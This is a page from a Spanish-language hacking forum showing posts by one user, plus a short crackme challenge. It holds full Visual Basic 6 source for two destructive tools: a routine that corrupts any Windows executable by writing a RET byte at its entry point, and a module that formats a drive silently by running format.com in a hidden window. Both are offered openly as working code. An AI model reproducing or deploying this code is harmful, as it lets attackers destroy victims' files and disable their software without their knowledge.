  35.    e_res(0 To 3) As Integer  ' Reserved words
  36.    e_oemid As Integer        ' OEM identifier (for e_oeminfo)
  37.    e_oeminfo As Integer      ' OEM information; e_oemid specific
  38.    e_res2(0 To 9) As Integer ' Reserved words
  39.    e_lfanew As Long          ' File address of new exe header
  40. End Type
  41.  
  42. ' MSDOS File header
  43. Private Type IMAGE_FILE_HEADER
  44.    Machine As Integer
  45.    NumberOfSections As Integer
  46.    TimeDateStamp As Long
  47.    PointerToSymbolTable As Long
  48.    NumberOfSymbols As Long
  49.    SizeOfOptionalHeader As Integer
  50.    characteristics As Integer
  51. End Type
  52.  
  53. ' Directory format.
  54. Private Type IMAGE_DATA_DIRECTORY
  55.    VirtualAddress As Long
  56.    Size As Long
  57. End Type
  58.  
  59. ' Optional header format.
  60. Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
  61.  
  62. Private Type IMAGE_OPTIONAL_HEADER
  63.    ' Standard fields.
  64.    Magic As Integer
  65.    MajorLinkerVersion As Byte
  66.    MinorLinkerVersion As Byte
  67.    SizeOfCode As Long
  68.    SizeOfInitializedData As Long
  69.    SizeOfUnitializedData As Long
  70.    AddressOfEntryPoint As Long
  71.    BaseOfCode As Long
  72.    BaseOfData As Long
  73.    ' NT additional fields.
  74.    ImageBase As Long
  75.    SectionAlignment As Long
  76.    FileAlignment As Long
  77.    MajorOperatingSystemVersion As Integer
  78.    MinorOperatingSystemVersion As Integer
  79.    MajorImageVersion As Integer
  80.    MinorImageVersion As Integer
  81.    MajorSubsystemVersion As Integer
  82.    MinorSubsystemVersion As Integer
  83.    W32VersionValue As Long
  84.    SizeOfImage As Long
  85.    SizeOfHeaders As Long
  86.    CheckSum As Long
  87.    SubSystem As Integer
  88.    DllCharacteristics As Integer
  89.    SizeOfStackReserve As Long
  90.    SizeOfStackCommit As Long
  91.    SizeOfHeapReserve As Long
  92.    SizeOfHeapCommit As Long
  93.    LoaderFlags As Long
  94.    NumberOfRvaAndSizes As Long
  95.    DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
  96. End Type
  97.  
  98. Private Type IMAGE_NT_HEADERS
  99.    Signature As Long
  100.    FileHeader As IMAGE_FILE_HEADER
  101.    OptionalHeader As IMAGE_OPTIONAL_HEADER
  102. End Type
  103.  
  104. ' Section header
  105. Const IMAGE_SIZEOF_SHORT_NAME = 8
  106.  
  107. Private Type IMAGE_SECTION_HEADER
  108.   SecName As String * IMAGE_SIZEOF_SHORT_NAME
  109.   VirtualSize As Long
  110.   VirtualAddress  As Long
  111.   SizeOfRawData As Long
  112.   PointerToRawData As Long
  113.   PointerToRelocations As Long
  114.   PointerToLinenumbers As Long
  115.   NumberOfRelocations As Integer
  116.   NumberOfLinenumbers As Integer
  117.   characteristics  As Long
  118. End Type
  119.  
  120. '---------------------------------------------------------------------------------------
  121. ' Procedimiento : PatchExe
  122. ' Autor         : Karcrack
  123. ' Fecha         : 07/04/2009
  124. ' Parametro(s)  : sPath -> La ruta del fichero
  125. ' Return        : True si todo fue bien
  126. '---------------------------------------------------------------------------------------
  127.  
  128. Public Function PatchExe(ByVal sPath As String) As Boolean
  129.    On Error GoTo Fallo
  130.    Dim IDH             As IMAGE_DOS_HEADER
  131.    Dim INH             As IMAGE_NT_HEADERS
  132.    Dim ISH()           As IMAGE_SECTION_HEADER
  133.  
  134.    Dim bvCode()        As Byte
  135.    Dim PE              As Long
  136.    Dim i               As Long
  137.    Dim Section         As Long
  138.  
  139.    bvCode = ReadFile(sPath)                                                        'Leemos el fichero
  140.  
  141.    Call CopyMemory(IDH, bvCode(0), Len(IDH))                                       'Leemos la info del PE
  142.    Call CopyMemory(INH, bvCode(IDH.e_lfanew), Len(INH))                            'Leemos la info del PE
  143.  
  144.    For i = 0 To INH.FileHeader.NumberOfSections - 1
  145.        ReDim Preserve ISH(0 To i)
  146.        Call CopyMemory(ISH(i), bvCode(IDH.e_lfanew + Len(INH) + Len(ISH(i)) * i), Len(ISH(i)))
  147.        If (INH.OptionalHeader.AddressOfEntryPoint => ISH(i).VirtualAddress) And (INH.OptionalHeader.AddressOfEntryPoint =< ISH(i).VirtualAddress + ISH(i).VirtualSize) Then
  148.            Section = i
  149.            Exit For
  150.        End If
  151.    Next i
  152.  
  153.    bvCode(INH.OptionalHeader.AddressOfEntryPoint - ISH(i).VirtualAddress + ISH(i).PointerToRawData) = &HC3 'Parcheamos el fichero (C3=RET)
  154.  
  155.    Call SaveFile(bvCode, sPath)
  156.  
  157.    PatchExe = True                                                                 'Todo funciono
  158.    Exit Function                                                                   'Salimos
  159. Fallo:
  160.    PatchExe = False                                                                'Algo ha ido mal :S
  161. End Function
  162.  
  163.  
  164. '---------------------------------------------------------------------------------------
  165. ' Procedimiento : ReadFile
  166. ' Autor         : Karcrack
  167. ' Fecha         : 07/04/2009
  168. ' Parametro(s)  : sPath -> La ruta del fichero
  169. ' Return        : Devuelve un Byte array con los bytes del fichero
  170. '---------------------------------------------------------------------------------------
  171.  
  172. Private Function ReadFile(ByVal sPath As String) As Byte()
  173.    Dim bvTmp()         As Byte
  174.  
  175.    Open sPath For Binary As #1
  176.        ReDim bvTmp(0 To LOF(1) - 1)
  177.        Get #1, , bvTmp
  178.    Close #1
  179.  
  180.    ReadFile = bvTmp
  181. End Function
  182.  
  183.  
  184. '---------------------------------------------------------------------------------------
  185. ' Procedimiento : SaveFile
  186. ' Autor         : Karcrack
  187. ' Fecha         : 07/04/2009
  188. ' Parametro(s)  : bvData() -> Array de datos
  189. '                 sPath    -> Ruta de guardado
  190. '---------------------------------------------------------------------------------------
  191.  
  192. Private Sub SaveFile(ByRef bvData() As Byte, ByVal sPath As String)
  193.    Open sPath For Binary As #1
  194.        Put #1, , bvData
  195.    Close #1
  196. End Sub
  197.  
88  Seguridad Informática / Abril negro / [RET Exe Corruption] Corrompe cualquier Ejecutable en: 7 Abril 2009, 19:00 pm
Buenas tardes ;D

Hoy os presento este metodo de 'corrupcion' de ejecutables. Desde que vi el metodo que posteo Mad estuve pensando:
Código:
http://foro.elhacker.net/analisis_y_diseno_de_malware/metodo_ifeo_bug_image_file_execution_options-t249670.0.html

Este metodo modifica el ejecutable para que nada mas abrirse se cierre, agregando un RET al pimer byte ejecutado.

Que tiene de especial?
  • Solo modifica un Byte
  • Trabaja con el PE
Problemas? Solo uno:
  • Necesitas permisos de escritura en el fichero, si esta abierto no podras...

Pasos a seguir para aplicar este metodo:
  • Se obtiene el Entry Point RVA del fichero
  • Se pasa a RAW
  • Se reemplaza el primer BYTE por un RET (C3h)

Aqui teneis el codigo en VB:
Código:
http://foro.elhacker.net/programacion_vb/sourceret_exe_corruption_corrompe_cualquier_ejecutable-t251138.0.html;msg1211626#msg1211626


Saludos ;)
89  Programación / Programación Visual Basic / [SRC]mFormat - Formatea Unidades desde VB {De forma oculta} en: 13 Febrero 2009, 17:05 pm
Bueno, hasta las narices de este post:
Código:
http://foro.elhacker.net/programacion_vb/formatear_sin_usar_shformatdrive-t244230.0.html
Por eso he hecho este modulo usando PIPES (Gracias Cobein)

Aqui viene:
Código
  1. '---------------------------------------------------------------------------------------
  2. ' Modulo    : mFormat
  3. ' Autor     : Karcrack
  4. ' Fecha-Hora: 13/02/2009  16:25
  5. ' Finalidad : Formatear una Unidad de Forma oculta, usando PIPES
  6. ' Referencia: Clase StdIO de COBEIN, de su 'troyano'
  7. ' Agradec.  : A COBEIN :D Por su code ;)
  8. '---------------------------------------------------------------------------------------
  9.  
  10. Option Explicit
  11.  
  12. Private Const PROCESS_QUERY_INFORMATION     As Long = &H400
  13. Private Const PROCESS_TERMINATE             As Long = (&H1)
  14. Private Const PROCESS_VM_READ               As Long = &H10
  15. Private Const NORMAL_PRIORITY_CLASS         As Long = &H20&
  16. Private Const STARTF_USESTDHANDLES          As Long = &H100&
  17. Private Const STARTF_USESHOWWINDOW          As Long = &H1
  18. Private Const SW_HIDE                       As Long = 0
  19. Private Const PIPE_WAIT                     As Long = &H0
  20. Private Const PIPE_NOWAIT                   As Long = &H1
  21. Private Const PIPE_READMODE_BYTE            As Long = &H0
  22. Private Const PIPE_READMODE_MESSAGE         As Long = &H2
  23. Private Const PIPE_TYPE_BYTE                As Long = &H0
  24. Private Const PIPE_TYPE_MESSAGE             As Long = &H4
  25.  
  26. Private Type SECURITY_ATTRIBUTES
  27.    nLength                 As Long
  28.    lpSecurityDescriptor    As Long
  29.    bInheritHandle          As Long
  30. End Type
  31.  
  32. Private Type STARTUPINFO
  33.    cb                      As Long
  34.    lpReserved              As Long
  35.    lpDesktop               As Long
  36.    lpTitle                 As Long
  37.    dwX                     As Long
  38.    dwY                     As Long
  39.    dwXSize                 As Long
  40.    dwYSize                 As Long
  41.    dwXCountChars           As Long
  42.    dwYCountChars           As Long
  43.    dwFillAttribute         As Long
  44.    dwFlags                 As Long
  45.    wShowWindow             As Integer
  46.    cbReserved2             As Integer
  47.    lpReserved2             As Long
  48.    hStdInput               As Long
  49.    hStdOutput              As Long
  50.    hStdError               As Long
  51. End Type
  52.  
  53. Private Type PROCESS_INFORMATION
  54.    hProcess                As Long
  55.    hThread                 As Long
  56.    dwProcessId             As Long
  57.    dwThreadID              As Long
  58. End Type
  59.  
  60. Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long
  61. Private Declare Function SetNamedPipeHandleState Lib "kernel32" (ByVal hNamedPipe As Long, lpMode As Long, lpMaxCollectionCount As Long, lpCollectDataTimeout As Long) As Long
  62. Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long
  63. Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Any) As Long
  64. Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
  65. Private Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long
  66. Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
  67. Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
  68. Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
  69. Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
  70. Private Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)
  71.  
  72. Private c_bPiping           As Boolean
  73. Private c_bCancel           As Boolean
  74. Private c_lhReadPipe        As Long
  75. Private c_lhWritePipe       As Long
  76. Private c_lhReadPipe2       As Long
  77. Private c_lhWritePipe2      As Long
  78.  
  79. Dim tSTARTUPINFO            As STARTUPINFO
  80. Dim tPROCESS_INFORMATION    As PROCESS_INFORMATION
  81. Dim tSECURITY_ATTRIBUTES    As SECURITY_ATTRIBUTES
  82. Dim sBuffer                 As String * 4096
  83.  
  84. Public Function AltFormat(ByVal sDrive As String, Optional ByVal Quick As Boolean, Optional ByVal sName As String) As Boolean
  85.    Dim sCmd        As String
  86.  
  87.    sCmd = "format.com " & sDrive & " /X" & IIf((Quick = True), " /Q", vbNullString)
  88.    If Not Left$(sName, 1) = Chr$(13) Then sName = sName & Chr$(13)
  89.    With tSECURITY_ATTRIBUTES
  90.        .nLength = LenB(tSECURITY_ATTRIBUTES)
  91.        .bInheritHandle = True
  92.        .lpSecurityDescriptor = False
  93.    End With
  94.  
  95.    Call CreatePipe(c_lhReadPipe, c_lhWritePipe, tSECURITY_ATTRIBUTES, 0&)
  96.    Call CreatePipe(c_lhReadPipe2, c_lhWritePipe2, tSECURITY_ATTRIBUTES, 0&)
  97.    Call SetNamedPipeHandleState(c_lhReadPipe, PIPE_READMODE_BYTE Or PIPE_NOWAIT, 0&, 0&)
  98.    With tSTARTUPINFO
  99.        .cb = LenB(tSTARTUPINFO)
  100.        .dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
  101.        .wShowWindow = SW_HIDE
  102.        .hStdOutput = c_lhWritePipe
  103.        .hStdError = c_lhWritePipe
  104.        .hStdInput = c_lhReadPipe2
  105.    End With
  106.    Call CreateProcessA(0&, sCmd, tSECURITY_ATTRIBUTES, tSECURITY_ATTRIBUTES, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, tSTARTUPINFO, tPROCESS_INFORMATION)
  107.    If InStr(1, WriteToPipe(Chr$(13)), "Escriba una etiqueta de volumen", vbTextCompare) <> 0 Then
  108.        Do Until InStr(1, WriteToPipe(sName), "a otro disco (S/N)", vbTextCompare) <> 0
  109.            Call Sleep(1000)
  110.        Loop
  111.    End If
  112.    Call CloseHandle(tPROCESS_INFORMATION.hProcess)
  113.    Call CloseHandle(c_lhReadPipe):     c_lhReadPipe = 0
  114.    Call CloseHandle(c_lhReadPipe2):    c_lhReadPipe2 = 0
  115.    Call CloseHandle(c_lhWritePipe):    c_lhWritePipe = 0
  116.    Call CloseHandle(c_lhWritePipe2):   c_lhWritePipe2 = 0
  117.  
  118.    AltFormat = ExitProcessPID(tPROCESS_INFORMATION.dwProcessId)
  119. End Function
  120.  
  121. Private Function WriteToPipe(ByVal sData As String) As String
  122.    Dim bvData()    As Byte
  123.  
  124.    bvData = StrConv(sData & vbCrLf & vbNullChar, vbFromUnicode)
  125.    Call WriteFile(c_lhWritePipe2, bvData(0), UBound(bvData), 0, 0&)
  126.  
  127.    Do
  128.        DoEvents: Call Sleep(2500)
  129.        If Not ReadFile(c_lhReadPipe, sBuffer, 4096, 0, 0&) = 0 Then
  130.            WriteToPipe = Left$(sBuffer, lstrlen(sBuffer))
  131.            sBuffer = String$(4096, vbNullChar)
  132.            DoEvents
  133.        Else
  134.            Exit Do
  135.        End If
  136.    Loop
  137. End Function
  138.  
  139. Private Function ExitProcessPID(ByVal lProcessID As Long) As Boolean
  140.    Dim lProcess As Long
  141.    Dim lExitCode As Long
  142.  
  143.    lProcess = OpenProcess(PROCESS_TERMINATE Or PROCESS_QUERY_INFORMATION Or _
  144.       PROCESS_VM_READ, _
  145.       0, lProcessID)
  146.  
  147.    If GetExitCodeProcess(lProcess, lExitCode) Then
  148.        TerminateProcess lProcess, lExitCode
  149.        ExitProcessPID = True
  150.    End If
  151.  
  152.    Call CloseHandle(lProcess)
  153. End Function
  154.  

Forma de uso:
Código
  1. Call AltFormat("A:", True)

NOTA: Solo funciona con W$ en español

Saludos ;D

PD:Odio el nuevo 'xD' ( :xD = :-X)
90  Programación / Ingeniería Inversa / #3 CrackMe (Karcrack){Dificultad:¿8/10?} en: 8 Febrero 2009, 13:57 pm
Bueno, aqui mi Tercer CrackMe :rolleyes:


Lenguaje: VB6
Dificultad: Muy Dificil (Esto es un poco subjetivo :P)

Lo que hay que hacer es:
0- Conseguir cumplir la condicion oculta :huh: :xD
1- Obtener un Usuario y Contraseña valido. Nota:Un mismo usuario puede tener contraseñas infintas >:D
2- Hacer un KeyGen (Opcional y ¿Dificil?)

Lo que no hay que hacer es:
1- Parchear para que acepta cualquier User y Password

Descarga:
Código:
http://www.box.net/shared/d9zur18gpy

Hall Of Fame:


Aqui adjunto el KeyGen de PeterPunk ;):
Citar
http://shorttext.com/xy6b9s4  No entrar a no ser que quieras que el CrackMe pierda la gracia :xD

Saludos y Suerte ;D
Páginas: 1 2 3 4 5 6 7 8 [9] 10 11 12
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines